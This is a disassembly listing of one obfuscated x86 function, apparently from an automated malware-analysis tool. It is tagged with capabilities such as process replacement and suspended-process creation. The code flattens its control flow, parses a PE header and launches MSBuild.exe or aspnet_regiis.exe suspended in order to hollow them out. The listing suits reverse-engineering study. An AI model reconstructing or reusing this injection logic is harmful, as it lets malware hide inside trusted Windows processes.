Function at 0x10003790
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x188
mov eax, dword [0x1006ba00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x190], 0xe9e4fe16
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x194], eax
sub eax, 0x8064c1df
je 0x1000969b
jmp 0x100037cc
mov eax, dword [ebp - 0x194]
sub eax, 0x808cd8b8
je 0x100093fe
jmp 0x100037e2
mov eax, dword [ebp - 0x194]
sub eax, 0x809d18a0
je 0x1000bcf2
jmp 0x100037f8
mov eax, dword [ebp - 0x194]
sub eax, 0x80a92e92
je 0x10008954
jmp 0x1000380e
mov eax, dword [ebp - 0x194]
sub eax, 0x8112faae
je 0x10008b0a
jmp 0x10003824
mov eax, dword [ebp - 0x194]
sub eax, 0x81e886b7
je 0x1000795a
jmp 0x1000383a
mov eax, dword [ebp - 0x194]
sub eax, 0x820ba3d9
je 0x1000a16f
jmp 0x10003850
mov eax, dword [ebp - 0x194]
sub eax, 0x829b1fd0
je 0x10009eed
jmp 0x10003866
mov eax, dword [ebp - 0x194]
sub eax, 0x82a9f757
je 0x1000c0a7
jmp 0x1000387c
mov eax, dword [ebp - 0x194]
sub eax, 0x82acd6ae
je 0x10009b58
jmp 0x10003892
mov eax, dword [ebp - 0x194]
sub eax, 0x831e586b
je 0x1000c092
jmp 0x100038a8
mov eax, dword [ebp - 0x194]
sub eax, 0x83258ea0
je 0x1000a91e
jmp 0x100038be
mov eax, dword [ebp - 0x194]
sub eax, 0x839046ca
je 0x10009478
jmp 0x100038d4
mov eax, dword [ebp - 0x194]
sub eax, 0x839e51d6
je 0x1000b953
jmp 0x100038ea
mov eax, dword [ebp - 0x194]
sub eax, 0x83a56661
je 0x10007392
jmp 0x10003900
mov eax, dword [ebp - 0x194]
sub eax, 0x8539bb9f
je 0x1000b9cf
jmp 0x10003916
mov eax, dword [ebp - 0x194]
sub eax, 0x8558a7dd
je 0x1000bde8
jmp 0x1000392c
mov eax, dword [ebp - 0x194]
sub eax, 0x8614a4df
je 0x10009b1c
jmp 0x10003942
mov eax, dword [ebp - 0x194]
sub eax, 0x864e18f6
je 0x10006340
jmp 0x10003958
mov eax, dword [ebp - 0x194]
sub eax, 0x87d482e1
je 0x1000be55
jmp 0x1000396e
mov eax, dword [ebp - 0x194]
sub eax, 0x882847c8
je 0x10009b39
jmp 0x10003984
mov eax, dword [ebp - 0x194]
sub eax, 0x8830076e
je 0x100087dc
jmp 0x1000399a
mov eax, dword [ebp - 0x194]
sub eax, 0x8a2c62d6
je 0x10007332
jmp 0x100039b0
mov eax, dword [ebp - 0x194]
sub eax, 0x8ac04726
je 0x10006d28
jmp 0x100039c6
mov eax, dword [ebp - 0x194]
sub eax, 0x8b05254d
je 0x1000bcb5
jmp 0x100039dc
mov eax, dword [ebp - 0x194]
sub eax, 0x8b2fac5e
je 0x1000650e
jmp 0x100039f2
mov eax, dword [ebp - 0x194]
sub eax, 0x8c6d7534
je 0x1000b521
jmp 0x10003a08
mov eax, dword [ebp - 0x194]
sub eax, 0x8c90e94e
je 0x1000ad74
jmp 0x10003a1e
mov eax, dword [ebp - 0x194]
sub eax, 0x8ca854df
je 0x1000874d
jmp 0x10003a34
mov eax, dword [ebp - 0x194]
sub eax, 0x8cf32c4e
je 0x10009874
jmp 0x10003a4a
mov eax, dword [ebp - 0x194]
sub eax, 0x8e6bd6a3
je 0x100073e3
jmp 0x10003a60
mov eax, dword [ebp - 0x194]
sub eax, 0x8ea5cbdf
je 0x1000a9e4
jmp 0x10003a76
mov eax, dword [ebp - 0x194]
sub eax, 0x8ef987f8
je 0x1000bec1
jmp 0x10003a8c
mov eax, dword [ebp - 0x194]
sub eax, 0x8f974e34
je 0x1000967c
jmp 0x10003aa2
mov eax, dword [ebp - 0x194]
sub eax, 0x8fa1bb38
je 0x10007ebf
jmp 0x10003ab8
mov eax, dword [ebp - 0x194]
sub eax, 0x92e1a488
je 0x10007fe2
jmp 0x10003ace
mov eax, dword [ebp - 0x194]
sub eax, 0x930c2f0d
je 0x1000ab5b
jmp 0x10003ae4
mov eax, dword [ebp - 0x194]
sub eax, 0x930d8dad
je 0x1000a79d
jmp 0x10003afa
mov eax, dword [ebp - 0x194]
sub eax, 0x932d963e
je 0x1000b34c
jmp 0x10003b10
mov eax, dword [ebp - 0x194]
sub eax, 0x935e13d2
je 0x10005f8a
jmp 0x10003b26
mov eax, dword [ebp - 0x194]
sub eax, 0x9382f948
je 0x10009a4e
jmp 0x10003b3c
mov eax, dword [ebp - 0x194]
sub eax, 0x93df6e53
je 0x10006cb2
jmp 0x10003b52
mov eax, dword [ebp - 0x194]
sub eax, 0x93f3ec79
je 0x100082e0
jmp 0x10003b68
mov eax, dword [ebp - 0x194]
sub eax, 0x944c63bf
je 0x1000b9de
jmp 0x10003b7e
mov eax, dword [ebp - 0x194]
sub eax, 0x9496553d
je 0x10009369
jmp 0x10003b94
mov eax, dword [ebp - 0x194]
sub eax, 0x94a8c91f
je 0x100091ee
jmp 0x10003baa
mov eax, dword [ebp - 0x194]
sub eax, 0x950be3e2
je 0x10007a85
jmp 0x10003bc0
mov eax, dword [ebp - 0x194]
sub eax, 0x95362a19
je 0x1000a72b
jmp 0x10003bd6
mov eax, dword [ebp - 0x194]
sub eax, 0x95b97a9e
je 0x1000a0bc
jmp 0x10003bec
mov eax, dword [ebp - 0x194]
sub eax, 0x960695cd
je 0x10007640
jmp 0x10003c02
mov eax, dword [ebp - 0x194]
sub eax, 0x96ae6333
je 0x1000941b
jmp 0x10003c18
mov eax, dword [ebp - 0x194]
sub eax, 0x9743d8c7
je 0x100075e3
jmp 0x10003c2e
mov eax, dword [ebp - 0x194]
sub eax, 0x97dec8e0
je 0x1000b9a0
jmp 0x10003c44
mov eax, dword [ebp - 0x194]
sub eax, 0x980178fc
je 0x1000bf35
jmp 0x10003c5a
mov eax, dword [ebp - 0x194]
sub eax, 0x989bdda1
je 0x1000bbbe
jmp 0x10003c70
mov eax, dword [ebp - 0x194]
sub eax, 0x98dfc3fc
je 0x1000a46f
jmp 0x10003c86
mov eax, dword [ebp - 0x194]
sub eax, 0x9aabace9
je 0x10009e6c
jmp 0x10003c9c
mov eax, dword [ebp - 0x194]
sub eax, 0x9b6f08dd
je 0x10008603
jmp 0x10003cb2
mov eax, dword [ebp - 0x194]
sub eax, 0x9b715629
je 0x10006983
jmp 0x10003cc8
mov eax, dword [ebp - 0x194]
sub eax, 0x9bcee993
je 0x1000a101
jmp 0x10003cde
mov eax, dword [ebp - 0x194]
sub eax, 0x9c33b779
je 0x1000bcc4
jmp 0x10003cf4
mov eax, dword [ebp - 0x194]
sub eax, 0x9c38a2a7
je 0x10006e61
jmp 0x10003d0a
mov eax, dword [ebp - 0x194]
sub eax, 0x9d27258c
je 0x100084bb
jmp 0x10003d20
mov eax, dword [ebp - 0x194]
sub eax, 0x9d367c4d
je 0x10006f54
jmp 0x10003d36
mov eax, dword [ebp - 0x194]
sub eax, 0x9d7cc71f
je 0x10007e39
movss xmm0, dword [0x10019244]
movss dword [ebp - 0x134], xmm0
mov ecx, dword [0x1006cd28]
mov eax, dword [0x1006cd24]
mov edx, ecx
add edx, 0x5f021e4d
sub edx, 1
sub edx, 0x5f021e4d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x38b20ee7
mov ecx, 0x40627b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
movss xmm0, dword [0x10019238]
movss dword [ebp - 0x134], xmm0
mov ecx, dword [0x1006cd28]
mov eax, dword [0x1006cd24]
mov edx, ecx
sub edx, 0x1294594e
sub edx, 1
add edx, 0x1294594e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe1a7ce2b
mov ecx, 0x467ab462
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov dl, 1
mov eax, 0x7d94e7c
mov ecx, 0x1d5275d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov eax, dword [0x1006cd28]
mov ecx, dword [0x1006cd24]
mov edx, eax
add edx, 0x53a541bb
sub edx, 1
sub edx, 0x53a541bb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8539bb9f
mov ecx, 0x12e7e51d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov ecx, dword [0x1006cd28]
mov eax, dword [0x1006cd24]
mov edx, ecx
sub edx, 0x644eb997
sub edx, 1
add edx, 0x644eb997
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4ce22021
mov ecx, 0x8ac04726
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov dword [ebp - 0x190], 0x63b26f3e
jmp 0x1000c240
mov ecx, dword [0x1006cd28]
mov eax, dword [0x1006cd24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6c494ea7
mov ecx, 0xf394f4f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
movss xmm0, dword [0x10019364]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x190], 0x537ab511
jmp 0x1000c240
mov dword [ebp - 0x190], 0xad38e5ac
jmp 0x1000c240
mov eax, dword [0x1006cd28]
mov ecx, dword [0x1006cd24]
mov edx, eax
add edx, 0x857feb26
sub edx, 1
sub edx, 0x857feb26
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xae0cd62b
mov ecx, 0x8e6bd6a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov dl, 1
mov eax, 0x4e09093b
mov ecx, 0x7f130bd0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
movss xmm0, dword [0x1001934c]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x190], 0x154058c4
jmp 0x1000c240
mov dl, 1
mov eax, 0xe8232c0e
mov ecx, 0x225da05f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
movss xmm0, dword [0x1001933c]
movss dword [ebp - 0x140], xmm0
movss xmm0, dword [0x10019338]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x190], 0x25d44015
jmp 0x1000c240
mov dl, 1
mov eax, 0xaded330e
mov ecx, 0x536bed33
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov dword [ebp - 0x190], 0xc6b223ab
jmp 0x1000c240
movss xmm0, dword [0x10019308]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x190], 0x4ee39978
jmp 0x1000c240
mov dword [ebp - 0x190], 0xa5ab270b
jmp 0x1000c240
movss xmm0, dword [0x100191d0]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x100191cc]
movss dword [ebp - 0x144], xmm0
mov eax, dword [0x1006cd28]
mov ecx, dword [0x1006cd24]
mov edx, eax
add edx, 0xebc6faef
sub edx, 1
sub edx, 0xebc6faef
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbed229b7
mov ecx, 0x78da025b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov eax, dword [0x1006cd28]
mov ecx, dword [0x1006cd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c33b779
mov ecx, 0x173455eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
movss xmm0, dword [0x100191c8]
movss dword [ebp - 0x144], xmm0
mov eax, dword [0x1006cd28]
mov ecx, dword [0x1006cd24]
mov edx, eax
sub edx, 0x529af20b
sub edx, 1
add edx, 0x529af20b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf9230e4b
mov ecx, 0x64871857
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov ecx, dword [0x1006cd28]
mov eax, dword [0x1006cd24]
mov edx, ecx
add edx, 0xbce756a1
sub edx, 1
sub edx, 0xbce756a1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x809d18a0
mov ecx, 0xb0bbb843
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov dl, 1
mov eax, 0x2899cb2c
mov ecx, 0x1d3b35ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov eax, dword [0x1006cd28]
mov ecx, dword [0x1006cd24]
mov edx, eax
sub edx, 0x8c91538d
sub edx, 1
add edx, 0x8c91538d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb247452b
mov ecx, 0x9def1004
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
movss xmm0, dword [0x10019280]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x190], 0xd6f2489f
jmp 0x1000c240
movss xmm0, dword [0x100191b0]
movss dword [ebp - 0x14c], xmm0
mov ecx, dword [0x1006cd28]
mov eax, dword [0x1006cd24]
mov edx, ecx
add edx, 0xae1bdd4e
sub edx, 1
sub edx, 0xae1bdd4e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x614b8fe2
mov ecx, 0x6e29061e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov dl, 1
mov eax, 0x5628c959
mov ecx, 0x96ae6333
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
movss xmm0, dword [0x1001927c]
movss dword [ebp - 0x14c], xmm0
movss xmm0, dword [0x10019278]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x190], 0xe5b770f1
jmp 0x1000c240
mov ecx, dword [0x1006cd28]
mov eax, dword [0x1006cd24]
mov edx, ecx
add edx, 0x2285c3dc
sub edx, 1
sub edx, 0x2285c3dc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8558a7dd
mov ecx, 0x6764e1c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
movss xmm0, dword [0x10019270]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x190], 0x8064c1df
jmp 0x1000c240
mov ecx, dword [0x1006cd28]
mov eax, dword [0x1006cd24]
mov edx, ecx
add edx, 0x348f1056
sub edx, 1
sub edx, 0x348f1056
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x47099dff
mov ecx, 0x565a82c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov ecx, dword [0x1006cd28]
mov eax, dword [0x1006cd24]
mov edx, ecx
sub edx, 0x657a248d
sub edx, 1
add edx, 0x657a248d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x87d482e1
mov ecx, 0xba4a55ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov dword [ebp - 0x190], 0x69d607b4
jmp 0x1000c240
mov dl, 1
mov eax, 0x2d798b45
mov ecx, 0x882847c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
movss xmm0, dword [0x1001925c]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x190], 0x82acd6ae
jmp 0x1000c240
mov eax, dword [0x1006cd28]
mov ecx, dword [0x1006cd24]
mov edx, eax
sub edx, 0x64fd5a1a
sub edx, 1
add edx, 0x64fd5a1a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x493e28e6
mov ecx, 0x2fc5844
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x160], eax
mov edx, dword [ebp - 0x160]
mov eax, 0xebbca405
mov ecx, 0xe7c9bb91
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000d630
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000d630
add esp, 0xc
mov eax, dword [ebp - 0x160]
add eax, 0x18
mov dword [ebp - 0xf8], eax
mov ecx, dword [0x1006cd28]
mov eax, dword [0x1006cd24]
mov edx, ecx
add edx, 0x700f28dd
sub edx, 1
sub edx, 0x700f28dd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce4d2900
mov ecx, 0x5fab1512
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x190], 0x620bd2a3
jmp 0x1000c240
mov ecx, dword [0x1006cd28]
mov eax, dword [0x1006cd24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf88d02b4
mov ecx, 0x820ba3d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov edx, dword [ebp - 0xf0]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xe9], al
mov ecx, dword [0x1006cd28]
mov eax, dword [0x1006cd24]
mov edx, ecx
sub edx, 0xc79e7e2b
sub edx, 1
add edx, 0xc79e7e2b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf88d02b4
mov ecx, 0x21d1e95d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov eax, dword [0x1006cd28]
mov ecx, dword [0x1006cd24]
mov edx, eax
add edx, 0xfd4f6b8e
sub edx, 1
sub edx, 0xfd4f6b8e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb1ccadbb
mov ecx, 0xf7dd2c19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov ecx, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov dword [eax], 0
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
mov dword [eax], 0
mov dword [ebp - 0x190], 0x456acee8
jmp 0x1000c240
mov eax, dword [ebp - 0xcc]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0xd0]
mov eax, 0xdc9fe4fd
mov ecx, 0x2982e533
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov eax, dword [ebp - 0xbc]
mov esi, dword [eax]
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
sub esi, 0xf33cc759
add esi, eax
add esi, 0xf33cc759
mov edx, dword [ebp - 0xc0]
mov eax, 0x8ea5cbdf
mov ecx, 0xed74f4a0
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov ecx, dword [0x1006cd28]
mov eax, dword [0x1006cd24]
mov edx, ecx
add edx, 0x8b52f079
sub edx, 1
sub edx, 0x8b52f079
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf2946966
mov ecx, 0xa34352ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov edx, dword [ebp - 0xa8]
mov esi, dword [ebp - 0x160]
mov eax, 0xbc8b66c8
mov ecx, 0xe071f1d9
cmp edx, dword [esi + 0x34]
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000c240
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov eax, dword [eax + 4]
xor ecx, ecx
sub ecx, 8
add eax, ecx
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x190], 0x794bdfe
jmp 0x1000c240
mov dword [ebp - 0x190], 0x3ffd714d
jmp 0x1000c240
mov dword [ebp - 0x190], 0xc8c8d0fc
jmp 0x1000c240
movss xmm0, dword [0x10019230]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x1001922c]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x190], 0xc2b6a180
jmp 0x1000c240
movss xmm0, dword [0x10019228]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x10019224]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x190], 0x3b65e27d
jmp 0x1000c240
mov dword [ebp - 0x190], 0x12e7e51d
jmp 0x1000c240
mov dword [ebp - 0x190], 0x5a8fd2eb
jmp 0x1000c240
movss xmm0, dword [0x100191e4]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x190], 0x707555cc
jmp 0x1000c240
mov dword [ebp - 0x190], 0x20ad8524
jmp 0x1000c240
mov dword [ebp - 0x190], 0x173455eb
jmp 0x1000c240
movss xmm0, dword [0x100191c4]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x190], 0xb0bbb843
jmp 0x1000c240
mov dword [ebp - 0x190], 0x6764e1c5
jmp 0x1000c240
movss xmm0, dword [0x1001919c]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x190], 0xba4a55ad
jmp 0x1000c240
movss xmm0, dword [0x10019190]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x190], 0xbc683416
jmp 0x1000c240
mov eax, dword [ebp - 0xf8]
cmp dword [eax + 0xd0], 0
setne al
and al, 1
mov byte [ebp - 0x161], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x190], 0x1a3c35cc
jmp 0x1000c240
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x190], 0x1eea4554
jmp 0x1000c240
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
shr ecx, 1
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 0x34]
sub ecx, 0x1957f9a6
sub ecx, eax
add ecx, 0x1957f9a6
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov dword [eax], 0
mov dword [ebp - 0x190], 0x3ff2198b
jmp 0x1000c240
jmp 0x100037b0